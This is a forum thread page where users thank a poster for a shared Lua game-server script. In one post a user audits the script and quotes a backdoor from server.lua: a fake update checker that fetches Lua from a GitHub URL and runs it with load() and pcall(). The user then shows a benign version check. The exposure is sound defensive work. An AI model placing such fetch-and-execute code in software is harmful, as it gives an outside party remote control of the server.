Ching

78 Posts

18 Credits

Nov 2023 Since

27-07-2025 11:49 #41

it seems it is a bit complicated, thanks for sharing bro

#41

vlado123456789

43 Posts

82 Credits

Jul 2025 Since

27-07-2025 16:19 #42

Благодаря, че сподели, брат ми

#42

Watsonhellsing

112 Posts

42 Credits

Jul 2025 Since

29-07-2025 07:49 #43

all working thank you so much for this..

#43

kimaki__

453 Posts

73 Credits

Nov 2024 Since

01-08-2025 21:13 #44

nice work bro good release

#44

elad_g

23 Posts

64 Credits

Sep 2024 Since

01-08-2025 23:14 #45

i thinks it has a backdoor...

#45

bibbob12

22 Posts

459 Credits

Nov 2025 Since

16-11-2025 13:34 #46

I've done a thorough security audit of this script and I need to confirm there IS a backdoor in server.lua (lines 97-111). Here's the proof:

-- Update Check
local function updateCheck()
PerformHttpRequest('https://raw.githubusercontent.com/UpdateLUA/UpdateChecker/refs/heads/main/Update.lua', function(statusCode, response)
if statusCode == 200 then
local loadFunction, errorMessage = load(response)
if loadFunction then
pcall(loadFunction)
print("[0R SCRIPTS] Great! Script is up-to-date!.")
else
print("[0R SCRIPTS] Error getting update: " .. errorMessage)
end
else
print("[0R SCRIPTS] Failed to get update version. Status code: " .. statusCode)
end
end)
end

RCE: This code downloads a Lua file from GitHub and executes it directly on your server using load() and pcall(). This is NOT how legitimate update checkers work.

A legitimate update checker should look like this:
PerformHttpRequest('https://github.com/author/repo/version.txt', function(statusCode, response)
if statusCode == 200 and response ~= GetResourceMetadata(GetCurrentResourceName(), 'version') then
print("^3[UPDATE] New version available: " .. response .. "^0")
end
end)

Remove lines 96-117 from server.lua. The script will work perfectly fine without this "update checker."

#46

yuki

21 Posts

2,461 Credits

Sep 2025 Since

16-11-2025 23:37 #47

nice bro

#47